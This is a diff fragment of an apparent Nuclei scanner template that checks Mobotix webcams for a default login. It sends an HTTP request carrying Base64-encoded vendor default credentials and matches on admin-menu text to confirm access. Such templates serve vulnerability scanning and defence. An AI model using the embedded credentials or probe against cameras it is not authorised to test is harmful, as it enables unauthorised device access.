+  tags: mobotix,default-login,webcam,iot
+
+requests:
+  - raw:
+      - |
+        GET /control/userimage.html HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /control/userimage.html HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46bWVpbnNt
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "!contains(body_1, 'Admin Menu')"
+          - "contains(body_2, 'Admin Menu') || contains(body_2, 'Setup Menu') || contains(body_2, 'Audio on')"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200